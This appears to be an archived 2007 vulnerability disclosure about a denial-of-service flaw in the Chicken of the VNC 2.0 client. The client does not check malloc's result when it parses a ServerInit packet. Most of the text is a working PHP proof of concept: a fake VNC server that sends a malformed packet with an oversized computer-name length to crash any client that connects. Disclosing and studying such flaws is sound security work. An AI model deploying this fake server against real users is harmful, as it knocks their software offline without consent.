cotv2-dos.txt

`hi,  
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.  
A ServerInit packet contains the server's computer name and its size in the following format:  
[...]<computer-name-size><computer-name>  
where:   
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name  
and  
computer-name is a variable size array of bytes rapresentig the computer name  
  
when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory.   
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.  
  
a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)  
  
hope it helps,  
cheers  
-poplix  
  
  
  
  
# BOF  
<?  
$port = "5900";  
  
  
$BadServerInit=  
"\x04\x00". // fb-width  
"\x03\x00". // fb-hight  
"\x20". // bits per pixel  
"\x18". // depth  
"\x00". // big-endian flag  
"\x01". // true-color flag  
"\x00\xff\x00\xff\x00\xff". // r-g-b max  
"\x10\x08\x00". // r-g-b shift  
"\x00\x00\x00". // padding  
"\xff\xff\xff\xff". // computer-name size  
"DIE_PLZ"; // computer-name  
  
  
$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);  
socket_bind($ser,"0.0.0.0", $port);  
  
socket_listen($ser, 5);  
  
print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference  
02-02-2007 poplix [@] papuasia.org  
listening on $port ...\n";  
  
$cotv = socket_accept($ser);  
print "client connected\n";  
  
socket_write($cotv, "RFB 00 3.008\n");  
while($i=socket_read($cotv, 1024))  
if(substr($i,0,6) == "RFB 00") break;  
  
  
print "protocol has been negotiated\n";  
  
socket_write($cotv, "\x00\x00\x00\x01");  
while($i=socket_read($cotv, 1024))   
if(ord($i[0])==0 || ord($i[0])==1)break;  
  
print "sending expl...\n";  
  
socket_write($cotv, $BadServerInit);  
  
  
socket_close($cotv);  
  
socket_close($ser);  
  
print "done\n";  
?>  
# EOF  
  
`